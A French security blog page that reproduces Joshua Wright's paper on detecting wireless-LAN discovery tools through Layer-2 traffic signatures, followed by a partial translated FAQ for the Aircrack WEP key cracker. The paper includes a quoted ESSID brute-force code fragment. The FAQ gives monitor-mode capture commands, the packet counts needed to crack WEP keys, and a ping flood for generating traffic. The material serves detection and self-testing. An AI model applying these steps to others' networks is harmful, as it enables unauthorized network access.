Coding : Programmation Réseau Sécurité

Nouveau num?ro du Hakin9 (Hacking du Wi-Fi) d?jà en kiosques !

Dans le num?ro hakin9 1/2006 (14) vous trouverez entre autres :

* S?curit? Wi-Fi – WEP, WPA et WPA2,

* Rootkits sous Oracle,

* S?curit? de Windows Server 2003,

* Système IPS bas? sur Snort,

* Tours de passe-passe pour pare-feux,

* M?thode d’infection par un logiciel espion.

Sur le CD : GFI LANguard Security Scanner – un des scanners de
s?curit? les plus connus au monde; version complète (pour 5 adresse IP)

Site Web
www.hakin9.org/fr

Ce papier de Joshua Wright discute des applications de d?couverte de r?seaux pour qu’ils soient pris en compte dans les systemes de detection d’intrusions. Vous pourrez les differentes signatures que peuvent avoir ces logiciels etc …

Layer 2 Analysis of WLAN Discovery Applications for Intrusion Detection

Joshua Wright, GCIH, CCNA
11/8/2002

Abstract

Wireless LAN discovery through the use of applications such as NetStumbler, DStumbler,
Wellenreiter and others is an increasingly popular technique for network penetration. The discovery of a wireless LAN might be used for seemingly innocuous Internet access, or to be used as a "backdoor" into a network to stage an attack. This paper reviews some of the tactics used in wireless LAN network discovery and attempts to identify some of the fingerprints left by wireless LAN discovery applications, focusing on the MAC and LLC layers. This fingerprint information can then be incorporated into intrusion detection tools capable of analyzing data-link layer traffic.

Introduction

The growth of 802.11 networks has been met with the development of several wireless local area network (WLAN) discovery applications. These applications are designed to identify WLAN activity and network characteristics, providing enough information for an unauthorized user to gain access to the target network. For obvious reasons, WLAN administrators should be concerned about unauthorized access to their networks and therefore should attempt to identify the applications used to discover their networks.

WLAN intrusion analysis is not entirely unlike traditional intrusion analysis; we are primarily concerned about the identification of traffic signatures or fingerprints that are unique to the applications we want to detect. Unlike traditional intrusion analysis however, we have additional challenges that are unique to wireless networks:

1. Location of traffic capture station
Where traditional intrusion detection systems can be location in a functional area (DMZ, inside a firewall, outside a firewall, etc), a data collection agent (agent) capturing 802.11 frames must be installed in the same service area of each wireless LAN we wish to monitor.

The improper location of a wireless LAN agent will inevitably lead to false positive results. If the receive sensitivity of the agent exceeds that of the monitored network, traffic may be characterized as WLAN discovery while being outside the cell range of the monitored network. Another interesting challenge is monitoring "hidden node" IBSS stations where the last wireless station to generate a beacon is responsible to reply to probe requests (ANSI/IEEE, 126). In these cases, the wireless LAN agent may not be within the coverage area necessary to collect responses or further solicitation of management information from the responding “hidden node” station.

2. Identifying anomalous traffic
In order for wireless clients to locate a network to join, the IEEE 802.11 specification made an accommodation for clients to broadcast requests for available networks. Applications like NetStumbler and DStumbler utilize this and other scanning techniques to discover wireless LANs. Since these techniques are part of the 802.11 specification, we should expect to see their use for legitimate network discovery. Fortunately, the scanning techniques used by NetStumbler and DStumbler that are presented here are anomalous
when compared to the 802.11 specification and can be detected among otherwise legitimate network scanning traffic.

Characteristics for Analysis
Through lab experimentation and the analysis of "hostile" network activity, I have found several fields of interest that are pertinent to the analysis and discovery of WLAN discovery applications.

1. Sequence number
A sequence control field is used to accommodate fragmentation of 802.11 frames. Two bytes in length, the first 4 bits (low order) are used to uniquely identify each fragment with the remaining 12 bits used to uniquely identify the frame based on a modulo 4096 counter (Gast, 41). The sequence number portion of the sequence control field is analogous to its upper- layer counterpart, the IPID field.

2. Control Type and Subtype
The control type and control subtype fields utilize two bytes of the 802.11 frame control structure to identify data, manage ment and control frames used to support the robust operation of 802.11 networks. Common type/subtype combinations include 00/0100 (probe request), 00/0101 (probe response), 00/1000 (beacon) and 10/0000 (data). As many of the remaining combinations of type and subtype are reserved for future use, we will likely see a good deal of experimentation to elicit unique responses to unexpected frame types.

3. Destination MAC
A client seeking to discover available wireless networks through active scanning will transmit a probe request frame to the MAC layer broadcast address (“FF:FF:FF:FF:FF”).

4. Service Set Identifier (SSID)
In addition to setting the destination MAC address to the broadcast address, the SSID is set to a value of “0×00” in probe request frames. The last station to communicate in an IBSS network is responsible for responding with the network SSID to probe requests. In infrastructure networks, the access point (AP) is responsible for responding to probe requests with its configured SSID, unless otherwise directed.

5. Organizationally Unique Identifier (OUI)
Part of the 802.2 LLC frame encapsulation, the OUI field consists of three bytes used to uniquely identify a vendor as part of a convention for locally administered protocol identifiers. This value will commonly be set to all 0’s for encapsulated Ethernet frames.

6. Data Payload
The data payload of LLC frames may contain unique information for use in identifying the network discovery application generating the traffic.

7. LLC Protocol Type Field
The LLC protocol type field specifies the upper-layer protocol type. Common examples include 0×0800 for IP traffic, 0×0806 for ARP and 0×888e for 802.1x authentication.

8. LLC Protocol ID
Part of the SNAP header, the LLC protocol ID number is used to specify the protocol type used with the particular OUI specified in the frame.

Research Techniques and Data Collection

Ethereal version 0.9.5 was the primary tool for data collection using, Libpcap version 0.7 libraries. A Cisco Aironet 352 card was used with Cisco Aironet version 1.8 drivers. The capture host ran Slackware 8.1 Linux and a custom 2.4.18 kernel.

Where noted, various hosts were used to generate sample traffic that was later analyzed for pattern matching signatures. Each test set was performed in multiple permutations: against WEP-protected and open networks; with and without client power management enabled; and with an AP using beaconing SSID advertisements and with an AP configured to not beacon its ESSID (a cloaked ESSID configuration).

After identifying unique characteristics of the application data, Ethereal was used on a Sun Microsystems Sun Fire 280R to analyze datasets collected by the author from various network security conferences including SANSFIRE 2002 and DEFCON X, as well as against packet captures from various production wireless networks maintained by the author. For the sake of
confidentiality, the traces provided as examples are from lab-generated traffic, although each traffic pattern has been identified in multiple dissimilar environments.

Active Probing vs RF Monitoring

Network discovery applications will typically employ one of two different techniques when discovering wireless LANs. Each has their advantages and disadvantages, as explained below.

Active Probing Described in the IEEE 802.11 specifications (ANSI/IEEE, 126), the active probing method uses probe request frames on each channel where it is able to detect wireless activity (to avoid blocking the discovery process on frequencies that are not in use). When an AP comes within range of the client and receives a probe request frame it will typically respond with a probe response frame containing the network ESSID.

The active scanning method for network discovery is the easiest to implement and is presently the only network discovery method used on Windows systems. This method has the distinct disadvantage of being unable to discover wireless networks that are configured not to advertise
their ESSID using a cloaked ESSID configuration. Furthermore, the active scanning method requires the client to communicate actively with the AP, giving the intrusion analyst the opportunity to discover the intrusion.
RF Monitoring An increasing number of WLAN discovery applications utilize a completely passive method of WLAN discovery known as radio frequency monitoring (RFMON). A client with a wireless card that is configured in RFMON mode will be able to capture all RF signals on the channels to which it is configured to listen.

WLAN discovery applications using the RFMON discovery technique will interpret and display information about the networks they are able to receive; it will do so without the limitation of presenting only information discovered in probe request and probe response frames. As a completely passive technique, it is very difficult for the intrusion analyst to discover this activity at the MAC layer.

This passive discovery technique does present some distinct disadvantages to the attacker. At the time of this writing, free network discovery applications using RFMON scanning are only available on Linux and BSD-based operating systems, with limited chipset support on BSD hosts. Through the work of ghandi (ghandi@dopesquad.net), Mac OS X clients are now able to utilize Apple AirPort cards for passive monitoring (Ghandi). Some commercial products are available for Windows, but at significant cost.

While in RFMON mode, wireless clients are unable to transmit any frames; their cards are only able to receive, and therefore capture traffic. This limits the client to reporting only current or recorded network traffic. For instance, a client using passive monitoring would be able to report on the MAC addresses and number of associations to a discovered AP, but would be unable to probe the discovered AP for SNMP MIB information. The client would be able to report the results of an SNMP GET request, however, if the request initiated from a different card or a different client in the same frequency and in proximity to the attacker.

A small window of opportunity does exist, however, to fool the attacker with falsified network management traffic. Since the RFMON client captures all traffic on its listening frequency, it is only a matter of protocol decoding for the tool author to present information to the user about
traffic seen on the network. Some of the more advanced tools provide full DHCP packet dissection and reporting, as well as reporting Cisco Discovery Protocol (CDP), BOOTP and SNMP traffic.

Since the client cannot transmit while the wireless card is in RFMON mode, they have little opportunity to validate the source of the generated traffic as legitimate.

The intrusion analyst could generate falsified network management frames in the form of DHCP address allocation, CDP advertisements, or SNMP MIB information to and from non-existent hosts on the network. The WLAN discovery application would interpret this information and dutifully report the results to the attacker. The intrusion analyst could then monitor network traffic with traditional layer 3+ intrusion detectio n tools, looking for probes based on this falsified data (for example, watching for an SNMP string that was used to collect false MIB information). Should the falsified network management traffic be "interesting" to the attacker, they may opt to remove the ir-card from RFMON mode in order to gain the ability to transmit frames and associate with thediscovered network.

A practical example of this technique is as follows: An administrator generates DHCP response frames that appear as if addresses in the range 172.16.1.0/24 are being allocated to clients (this type of traffic could be generated with a short Perl or C program). A passive WLAN discovery
application would report to its user, the attacker, that it is seeing a DHCP server issue addresses in the noted range. An attacker, curious to discover what services these hosts are offering, might try to obtain a valid network address by requesting a DHCP address or by specifying an "unallocated" static address. It is likely that the attacker would then attempt to perform port scanning and/or host fingerprinting against all the hosts that were noted by the network discovery application as having received DHCP leases. An intrusion analyst would only need to monitor their network for signs of activity to the falsified network address advertisements and then capture traffic and generic RF traffic statistics about the attacker. Through the use of triangulation techniques, the intrusion analyst might even be able to establish the location of the assailant.

This approach may not be well suited to all intrusion analysts, resembling more closely a honeypot than a traditional intrusion analysis technique. As a potential alternative, there is ongoing research in attempting to discovery passive network discovery tactics through the use of physical layer RF characteristics that may be more applicable to high-security environments (reference).

Detecting NetStumbler

- Name: NetStumbler, MiniStumbler
- Download: http://www.netstumbler.com/
- Source available: no
- Discovery method: Active Scanning/Probing
- Features: Simple install, GPS support, probes discovered AP for additional information
- Supported chipsets: Lucent
- Supported platforms: Windows, Pocket PC
- Author: Marius Milner

NetStumber is a very popular tool for Windows users, utilizing active scanning through the use of probe requests sent to a broadcast address with a broadcast BSSID and an unspecified ESSID (length of 0). The probe requests are difficult to identify definitively as NetStumbler activity since NetStumbler utilizes the active scanning method described in the IEEE 802.11 specification without anomalous characteristics. Once an AP is discovered however, NetStumbler will probe a discovered AP for its "nickname" information, often the same information stored in the SNMP MIB system.sysName.0 parameter. This LLC/SNAP frame contains unique characteristics that allow us to uniquely identify NetStumbler activity.

In a posting to the Kismet Wireless mailing list on March 28 2002, Mike Craik first identified a unique pattern that can be used to identify NetStumbler traffic (Craik). LLC-encapsulated frames generated by NetStumbler will use an organizationally unique identifier (OID) of 0×00601d and protocol identifier (PID) of 0×0001. NetStumber also uses a data payload size of 58 bytes containing a unique string that can be used to identify the version of NetStumbler:

NetStumbler Version Payload String

3.2.0 Flurble gronk bloopit, bnip Frundletrune
3.2.3 All your 802.11b are belong to us
3.3.0 intentionally blank 1

To identify NetStumbler traffic we can use the following Ethereal display filter to detect any of the data string patterns that match the OUI and PID criteria:

(wlan.fc.type_subtype eq 32 and llc.oui eq 0×00601d and llc.pid eq 0×0001) and
(data[4:4] eq 41:6c:6c:20 or data[4:4] eq 6c:46:72:75 or data[4:4] eq 20:20:20:20)
The following detect is taken from NetStumbler version 3.2.3 using a Windows 2000 host for
discovery.

IEEE 802.11
Type/Subtype: Data (32)
Frame Control: 0×0908
Version: 0
Type: Data frame (2)
Subtype: 0
Flags: 0×9
DS status: Frame is entering DS (To DS: 1 From DS: 0) (0×01)
…. .0.. = Fragments: No fragments
…. 1… = Retry: Frame is being retransmitted
…0 …. = PWR MGT: STA will stay up
..0. …. = More Data: No data buffered
.0.. …. = WEP flag: WEP is disabled
0… …. = Order flag: Not strictly ordered
Duration: 258
BSS Id: 00:50:18:07:13:92 (ADVANCED_07:13:92)
Source address: 00:02:2d:52:cb:27 (Agere_52:cb:27)
Destination address: 00:50:18:07:13:92 (ADVANCED_07:13:92)
Fragment number: 0
Sequence number: 3057
Logical-Link Control
DSAP: SNAP (0xaa)
IG Bit: Individual
SSAP: SNAP (0xaa)
CR Bit: Command
Control field: U, func = UI (0×03)
000. 00.. = Unnumbered Information
…. ..11 = Unnumbered frame
Organization Code: Unknown (0×00601d)
Protocol ID: 0×0001
Data (58 bytes)
0000 00 00 00 00 41 6c 6c 20 79 6f 75 72 20 38 30 32 ….All your 802
0010 2e 31 31 62 20 61 72 65 20 62 65 6c 6f 6e 67 20 .11b are belong
0020 74 6f 20 75 73 2e 20 20 20 20 20 20 fe ca ba ab to us. ….
0030 ad de 0f d0 4f 45 43 45 46 46 ….OECEFF

MiniStumbler is a similar tool compiled to run on the Microsoft Pocket PC platform. Although the binary “ministumbler.exe” program contains the string “All your 802.11b are belong to us”, this version of NetStumbler does not exhibit the same characteristics as its Win32 counterpart.
MiniStumbler will not send a data probe to a discovered AP.

Recent trends in the NetStumler online discussion forums indicate that NetStumbler users are well aware of the intrusion detection possibilities that exist with NetStumbler. Several posts have recommended using a binary file editor to change the "All your 802.11b are belong to us." string in the netstumbler.exe program file to avoid detection.

Detecting DStumbler
- Name: DStumbler, bsd-airtools
- Download: http://www.dachb0den.com/projects/dstumbler.html
- Source available: yes
- Discovery method: Active Scanning/Probing or Passive RF Monitoring
- Features: Reports APs with default configuration, GPS support, reports additional information
about discovered networks (WEP enabled, beacon interval, node detection)
- Supported chipsets: Any that are supported by host OS, Prism II for Passive RF Monitoring
- Supported platforms: NetBSD, FreeBSD, OpenBSD
- Author: h1kari

DStumbler is an open-source curses-based application for use on BSD-based systems. DStumbler offers two methods of scanning for wireless networks: active probe/response scanning (similar to NetStumbler) and passive (RFMON) scanning. Several additional features are also available
including support for additional card chipsets; additional reporting on discovered networks (number active nodes, beacon intervals, default SSIDs, supported data rates); and reports a partial detect for WEP key lengths.

Unlike NetStumbler, DStumbler does not actively probe discovered any APs for additional information, instead presenting additional detail derived solely from the data it discovers. When in active scanning mode, DStumbler does have unique qualities that make it possible for us to detect its probe request frames.

In a posting to the Kismet Wireless mailing list on March 28 2002, Mike Craik first identified a pattern for identifying DStumbler traffic using only WLAN sequence numbers in the pattern 0, 3, 6, 9, 11 (Craik2). I was able to reproduce this pattern, but discovered that it is inconsistent when capturing DStumbler activity on different channels.

When DStumbler starts in active scan mode, it will generate multiple probe request frames (frame
control 0×0040) using low-numbered, modulo 12 sequence number values. After receiving a probe response from an AP, DStumbler will attempt to authenticate, and then associate with, the AP. The authenticate frame uses a consistent sequence value of 11 (0×0b), and the following association request uses a sequence value of 12 (0×0c). This pattern will repeat until DStumbler does not receive probe response frames from AP.

Unfortunately, a simple per-packet pattern-matching algorithm will not be able to identify DStumbler activity reliably; instead we need to identify a repetitive pattern of activity. We can use the following Ethereal display filter to create a data extract which we can the n manually inspect for the repeating authentication frames with a sequence of 11 and associate frames with a sequence of 12:

(wlan.seq eq 11 and wlan.fc.subtype eq 11)
or (wlan.seq eq 12 and wlan.fc.subtype eq 00)

The following detect was generated using DStumbler 1.0 on a FreeBSD 4.6.2 client.
IEEE 802.11
Type/Subtype: Authentication (11)
Frame Control: 0×00B0
Version: 0
Type: Management frame (0)
Subtype: 11
Flags: 0×0
DS status: Not leaving DS or network is operating in AD-HOC mode (To DS: 0 From DS: 0)
(0×00)
…. .0.. = More Fragments: This is the last fragment
…. 0… = Retry: Frame is not being retransmitted
…0 …. = PWR MGT: STA will stay up
..0. …. = More Data: No data buffered
.0.. …. = WEP flag: WEP is disabled
0… …. = Order flag: Not strictly ordered
Duration: 258
Destination address: 00:e0:63:82:19:c6 (00:e0:63:82:19:c6)
Source address: 00:02:2d:0a:01:de (00:02:2d:0a:01:de)
BSS Id: 00:e0:63:82:19:c6 (00:e0:63:82:19:c6)
Fragment number: 0
Sequence number: 11
IEEE 802.11 wireless LAN management frame
Fixed parameters (6 bytes)
Authentication Algorithm: Open System (0)
Authentication SEQ: 0×0001
Status code: Successful (0×0000)
IEEE 802.11
Type/Subtype: Association Request (0)
Frame Control: 0×0000
Version: 0
Type: Management frame (0)
Subtype: 0
Flags: 0×0
DS status: Not leaving DS or network is operating in AD-HOC mode (To DS: 0 From DS: 0)
(0×00)
…. .0.. = More Fragments: This is the last fragment
…. 0… = Retry: Frame is not being retransmitted
…0 …. = PWR MGT: STA will stay up
..0. …. = More Data: No data buffered
.0.. …. = WEP flag: WEP is disabled
0… …. = Order flag: Not strictly ordered
Duration: 258
Destination address: 00:e0:63:82:19:c6 (00:e0:63:82:19:c6)
Source address: 00:02:2d:0a:01:de (00:02:2d:0a:01:de)
BSS Id: 00:e0:63:82:19:c6 (00:e0:63:82:19:c6)
Fragment number: 0
Sequence number: 12
IEEE 802.11 wireless LAN management frame
9 of 13
Fixed parameters (4 bytes)
Capability Information: 0×0011
…. …1 = ESS capabilities: Transmitter is an AP
…. ..0. = IBSS status: Transmitter belongs to a BSS
…1 …. = Privacy: AP/STA can support WEP
..0. …. = Short Preamble: Short preamble not allowed
.0.. …. = PBCC: PBCC modulation not allowed
0… …. = Channel Agility: Channel agility not in use
CFP participation capabilities: No point coordinator at AP (0×0000)
Listen Interval: 0×0001
Tagged parameters (9 bytes)
Tag Number: 0 (SSID parameter set)
Tag length: 1
Tag interpretation:
Tag Number: 1 (Supported Rates)
Tag length: 4
Tag interpretation: Supported rates: 1.0 2.0 5.5 11.0 [Mbit/sec]
DStumbler supports the ability to passively detect networks using Prism II cards in RFMON mode, which does not leave a noticeable fingerprint.

Detecting Wellenreiter

- Name: Wellenreiter
- Download: http://www.remote-exploit.org/
- Source available: yes
- Discovery method: Passive RF Monitoring
- Features: GPS support, reports default ESSIDs, embedded statistics engine for collection of signal strength, packet counters, and other related information. Wellenreiter is also the only
tool that employs an ESSID brute-force attack script.
- Supported chipsets: Lucent, Cisco, Prism II
- Supported platforms: Linux, experimental BSD
- Author: Max Moser

Wellenreiter is a Perl/Gtk+ application for use on Linux systems. Wellenreiter only supports network discovery through RFMON packet capture, but includes some additional features using a
second 802.11 network card, including ESSID brute- forcing and automatic network association. It is through these features that we are able to identify Wellenreiter-generated traffic.

When an ESSID brute-force attack is initiated, Wellenreiter will use the Linux "iwconfig" program to temporarily set its ESSID to  “this_is_used_for_wellenreiter". The MAC address will also be set to a random value (with a consistent leading “00” to avoid generating MAC addresses that might be confused as multicast traffic). The following code fragment is taken from Wellenreiter version 1.6:

system("$fromconf{iwpath} $fromconf{interface} essid
‘this_is_used_for_wellenreiter’");
system("$fromconf{ifconfig} $fromconf{interface} down");
my $brutessid = shift (@g_wordlist);
my $mactouse = build_a_fakemac;
system("$fromconf{ifpath} $fromconf{interface} hw ether $mactouse");
print STDOUT "
I test now the essid: $brutessid";
system("$fromconf{iwpath} $fromconf{interface} essid $brutessid");
system("$fromconf{ifpath} $fromconf{interface} up");
return ($true);

This code will generate probe request frames using the fixed ESSID between attempts to guess the ESSID of a selected AP. We can identify this traffic with the follow Ethereal display filter:

wlan.fc eq 0×0040 and wlan_mgt.tag.number eq 0 and wlan_mgt.tag.length eq 29 and
wlan_mgt.tag.interpretation eq “this_is_used_for_Wellenreiter”
The following detect was generated using Wellenreiter v1.6 on a Slackware Linux workstation sing a stock 2.4.18 kernel:

IEEE 802.11
Type/Subtype: Probe Request (4)
Frame Control: 0×0040
Version: 0
Type: Management frame (0)
Subtype: 4
Flags: 0×0
DS status: Not leaving DS or network is operating in AD-HOC mode (To DS: 0 From DS: 0)
(0×00)
…. .0.. = Fragments: No fragments
…. 0… = Retry: Frame is not being retransmitted
…0 …. = PWR MGT: STA will stay up
..0. …. = More Data: No data buffered
.0.. …. = WEP flag: WEP is disabled
0… …. = Order flag: Not strictly ordered
Duration: 0
Destination address: ff:ff:ff:ff:ff:ff (ff:ff:ff:ff:ff:ff)
Source address: 00:40:96:47:e2:7d (00:40:96:47:e2:7d)
BSS Id: ff:ff:ff:ff:ff:ff (ff:ff:ff:ff:ff:ff)
Fragment number: 0
Sequence number: 3849
IEEE 802.11 wireless LAN management frame
Tagged parameters (37 bytes)
Tag Number: 0 (SSID parameter set)
Tag length: 29
Tag interpretation: this_is_used_for_wellenreiter
Tag Number: 1 (Supported Rates)
Tag length: 4
Tag interpretation: Supported rates: 1.0 2.0 5.5 11.0 [Mbit/sec]
0000 40 00 00 00 ff ff ff ff ff ff 00 40 96 47 e2 7d @……….@.G.}
0010 ff ff ff ff ff ff 90 f0 00 1d 74 68 69 73 5f 69 ……….this_i
0020 73 5f 75 73 65 64 5f 66 6f 72 5f 77 65 6c 6c 65 s_used_for_welle
0030 6e 72 65 69 74 65 72 01 04 02 04 0b 16 ff ff ff nreiter………
0040 ff .
Wellenreiter also uses randomized MAC addresses, in an effort to increase the level of anonymity for the attacker. Using a random MAC address does give the intrusion analyst an opportunity to detect “anomalous” MAC addresses, that is those addresses that utilize organizationally unique
identifiers for the first three octets of the MAC address that are unallocated by IEEE standards body, or MAC addresses that are allocated, but not used for 802.11 network cards. In order to support this effort, the intrusion analyst needs a database of MAC OUI prefixes that are expected to be received on the wireless interface of an AP. Supporting this effort, Colin Grady has established a database at http://www.unbolted.net/ where users can submit their MAC address prefixes, manufacturer name and card type. Since Wellenreiter network discovery is performed passively through the use of RFMON listening, we are unable to detect that portion of the application through layer 2 traffic analysis.

Detecting Windows XP

- Name: Windows XP, Microsoft Corp.

- Source available: no
- Discovery method: Active Scanning/Probing
- Features: Support for wireless networking built into operating system, simple procedure for
network scanning.
-         Supported chipsets: Lucent, Cisco, Prism

Windows XP is the first Microsoft operating system to include built- in support for 802.11 wireless networking. One of the wireless service extensions in Windows XP is a network scanning service that a user can run to obtain a list of available SSIDs. Access to this service is available through the wireless control panel applet. A detection method for identifying Windows XP WLAN scanning is presented here for completeness.

Windows XP utilizes the active scanning method to discover available access points through the use of probe request frames with a broadcast SSID and a second unique SSID value. It is through this second SSID value that we can identify Windows XP network scanning.

In probe request frames, Windows XP will set a tagged parameter as a portion of the management frame using a length of 32 bytes. The tagged parameter is part of the “SSID Parameter Set” type, using a string of non-printable characters. This data string is presented in hexadecimal below:

0×14 0×09 0×03 0×11 0×04 0×11 0×09 0×0e
0×0d 0×0a 0×0e 0×19 0×02 0×17 0×19 0×02
0×14 0×1f 0×07 0×04 0×05 0×13 0×12 0×16
0×16 0×0a 0×01 0×0a 0×0e 0×1f 0×1c 0×12
As 32 bytes is the maximum size of the SSID field and due to the randomness of the string, I believe this traffic pattern is the likely result of a bug in the implementation of wireless networking drivers supplied with Windows XP. For this reason, I believe Microsoft will likely remove this unique signature from future Windows operating systems, possibly “fixing” this bug in later patches and releases of the Windows XP operating system.

We can use the following Ethereal display filter to identify Windows XP workstations scanning for wireless networks:

wlan.fc eq 0×0040 and wlan_mgt.tag.number eq 0 and wlan_mgt.tag.length eq 32 and
wlan_mgt.tag.interpretation[0:4] eq 0c:15:0f:03
The following detect was generated using Windows XP, service pack 1:

IEEE 802.11
Type/Subtype: Probe Request (4)
Frame Control: 0×0040
Version: 0
Type: Management frame (0)
Subtype: 4
12 of 13
Flags: 0×0
DS status: Not leaving DS or network is operating in AD-HOC mode (To DS: 0 From DS: 0)
(0×00)
…. .0.. = More Fragments: This is the last fragment
…. 0… = Retry: Frame is not being retransmitted
…0 …. = PWR MGT: STA will stay up
..0. …. = More Data: No data buffered
.0.. …. = WEP flag: WEP is disabled
0… …. = Order flag: Not strictly ordered
Duration: 0
Destination address: ff:ff:ff:ff:ff:ff (ff:ff:ff:ff:ff:ff)
Source address: 00:60:1d:f0:91:68 (00:60:1d:f0:91:68)
BSS Id: ff:ff:ff:ff:ff:ff (ff:ff:ff:ff:ff:ff)
Fragment number: 0
Sequence number: 20
IEEE 802.11 wireless LAN management frame
Tagged parameters (40 bytes)
Tag Number: 0 (SSID parameter set)
Tag length: 32
Tag interpretation:
24 03210421 16
1631022731022437a040523222626
01

16373422
Tag Number: 1 (Supported Rates)
Tag length: 4
Tag interpretation: Supported rates: 1.0 2.0 5.5 11.0 [Mbit/sec]
Conclusion

While it is possible to detect some wireless network discovery tools, intrusion detection monitoring on wireless networks is a difficult task. Few tools presently exist that are capable of analyzing layer 2 802.11 frames and even fewer that provide the free-form pattern matching that is a critical component to intrusion detection engines. The complexity of 802.11 intrusion detection does not reduce the need for such tools however; new methods of attack are rapidly introduced while the feature list of WLAN discovery application grows.

Establishing intrusion detection probes to cover all the serviceable areas of anything larger than the simplest wireless LAN will likely prove to be cost-prohibitive. A much more elegant solution
would be to provide some intrusion analysis and reporting features in today’s enterprise access points. With presumably simple software, the access point would be able to detect and report denial-of-service attacks such as (deassocia te and associate floods), the presence of previously
undetected access points (including fake advertisements generated by tools such as FakeAP), and the evidence of traffic signatures, such as those presented in this paper. It is the author’s opinion
that the adoption of such features would provide a significant advantage over competing products in the enterprise 802.11 marketplace.

Works Cited

ANSI/IEEE Standard, 802.11. “Part 11: Wireless LAN Medium Access Control (MAC) and Physical Layer (PHY) Specifications.” 1999.

Craik. Craik, Mike. “All Your 802.11b Are Belong To Us (Netstumbler Signature).” Online Posting. 28 Mar 2002 02:07:48 +0000. Kismet Wireless list. URL: http://www.kismetwireless.net/cgi-bin/ezmlm-cgi?mss:366:eafojgdoalggkiopbclf  (14 Oct. 2002).

Craik2. Craik, Mike. “RE: All Your 802.11b Are Belong To Us (Netstumbler Signature).” Online Posting. 28 Mar 2002 18:42:32 +0000. Kismet Wireless list. URL: http://www.kismetwireless.net/cgi-bin/ezmlm-cgi?mss:371:200203:eafojgdoalggkiopbclf (14 Oct. 2002).

Gast, Matthew S. “802.11 Wireless Networks, The Definitive Guide.” Sebastopol, CA: O’Reilly & Associates, Inc., April 2002.

Ghandi. “Dope Squad Security¸ Viha Mac OS X Wireless Tools.” URL: http://www.dopesquad.net/security/ (14 Oct 2002).

Aircrack est un briseur de clef WEP 802.11. Il impl?mente l’attaque d?nomm?e Fluhrer-Mantin-Shamir (FMS), ainsi que d’autres nouvelles attaques du talentueux d?veloppeur nomm? KoreK. Quand suffisamment de paquets ont-?t? r?colt?s, Aircrack peut presque instantan?ment r?cup?rer la clef WEP.

voir la suite …

Pr?ambule sur aircrack:
Celui qui protège son r?seau sans fils (WIFI) par une clef WEP veux en contrôler l’usage. C’est du piratage que de se servir de ce genre de r?seau sans en avoir l’autorisation. Il est n?anmoins int?ressant et amusant de tester la solidit? de la clef WEP de votre propre r?seau avec Aircrack. C’est même tout à fait recommand? car c’est en utilisant les techniques des pirates que l’on arrive le mieux à se pr?munir du piratage.

Tuto aircrack.
Ce mini tutoriel est une traduction peu pr?cise, très incomplète et S.G.D.G. du howto :  http://www.cr0.net:8040/code/network/aircrack/

Question g?n?rales
Qu’est-ce que c’est Aircrack ?
Aircrack est un briseur de clef WEP 802.11. Il impl?mente l’attaque d?nomm?e Fluhrer-Mantin-Shamir (FMS), ainsi que d’autres nouvelles attaques du talentueux d?veloppeur nomm? KoreK. Quand suffisamment de paquets ont-?t? r?colt?s, Aircrack peut presque instantan?ment r?cup?rer la clef WEP.

Comment Aircrack fonctionne.
Chaque paquet chiffr? avec une clef WEP est associ? à un vecteur d’initialisation (IV) de 3 bytes. Certains IVs laissent passer des informations sur certains Bytes de la clef, ainsi, statistiquement, la clef correcte ?merge quand suffisamment de IVs ont ?t? collect?s.

Combien de paquets faut-il pour r?cup?rer une clef WEP.
Comme dirait Fernand Raynaud, "c’est comme le fut du canon" (ndt). Cela d?pend de votre chance et de la taille de la clef. Pour une clef de 40 bits, environ 150.000 IVs unique sont g?n?ralement suffisant. Pour des clef de 104 bits, entre 500.000 et 1 million de paquets seront n?cessaires.

Le renifleur que j’utilise a l’air d’être incapable de capturer le moindre IV !
Evidement il est impossible de capturer des paquets crypt?s s’il n’y a pas de traffic… Assurez-vous que votre carte sans fil est compatible avec le wlan (r?seau sans fil) : n’essayez pas de craquer des r?seaux 11-g si vous avez une carte 11-b.
Si vous êtes trop loin du point d’accès, vous allez seulement voir des trames de beacon non crypt?es (ndt : est-ce Français) qui sont à la vitesse la plus lente : 1 Mbps – mais vous ne pourrez pas capturer le traffic qui va plus vite. Dans ce cas, il peut être utile d’utiliser une antenne directionnelle à gain fort.

J’ai un ?norme fichier pcap mais aircrack ne trouve aucun IV dedans ?
Les IVs captur?s de r?seaux prot?g?es par WPA sont inutiles pour craquer les clefs WEP et aircrack va automatiquement les ?liminer. N?anmoins, vous pouvez sp?cifier l’adresse MAC du point d’accès que vous essayez de craquer; dans le cas de 802.1X (une clef WEP par client) vous pouvez de pr?f?rence indiquer l’adresse MAC d’un client connect?.

J’ai x millions d’IVs mais Aircrack ne trouve pas la clef.
La d?couverte des clefs WEP n’est pas une science exacte. De temps en temps la chance est avez vous mais pas toujours. En collectant autant de paquets crypt?s que possible, vous am?liorer grandement vos chances de trouver la clef ; augmenter le facteur fudge (bêtise en anglais ?) peut aussi aider (particulièrement dans le cas de clef de 40 bits).
Si la clef WEP a chang? au milieu de la session de sniffage (beau ? n?ologisme ?), alors il est presque sur que Aircrack ne va pas r?ussir à la r?cup?rer parce qu’il va se m?langer les pinceaux. Dans ce cas vous devez d?marrer un nouveau fichier pcap depuis le d?but.

Question Linux
Comment capturer les  paquets
Il faut d’abord passer l’interface Wifi en mode monitor ; par exemple avec une carte prism2 et les drivers linux-wlan-ng :
wlanctl-ng wlan0 lnxreq_ifstate ifstate=enable
wlanctl-ng wlan0 lnxreq_wlansniff enable=true channel=

ifconfig wlan0 up
airodump wlan0 wlan.pcap

Si votre driver est compatible avec les wireless tools :
iwconfig wlan0 mode Monitor
iwconfig wlan0 channel
iwpriv wlan0 monitor_type 1 (hostap only)
ifconfig wlan0 up
airodump wlan0 wlan.pcap

Par ailleurs si vous utilisez une version patch?e du driver Orinoco vous devez utiliser cette commande :
iwpriv  eth0 monitor 1

Je vous recommande d’utiliser airodump à la place de tcpdump par ce qu’il peut manipuler de gros (>2 GB) fichiers de capture et qu’il pr?sente des information plus compr?hensibles au sujet de chaque AP (ESSID, nombre total d’IVs unique…).

Notez que vous pouvez utiliser airodump et Kismet en même temps mais dans ce cas, il est sugg?r? de verrouiller le saut de canal (channel hopping – ‘L’ dans Kismet).

Comment puis-je utiliser aircrack à l’arrière plan ?
Pour cela vous pourriez utiliser le programme "screen".
D?marrage d’un nouvelle session : screen -t tittle
D?tacher la session : Ctrl-a d
R?cup?rer la session : screen -r

(ndt : pour ma part, ctrl + alt + Fn donne accès à une nouvelle console, c’est peut-être plus simple ?).
 
Il n’y a pas assez de traffic, que puis-je faire ?
Si vous contrôlez un ?l?ment du r?seau vous pouvez d?clencher une inondation de ping (ping flood) avec ping -f.
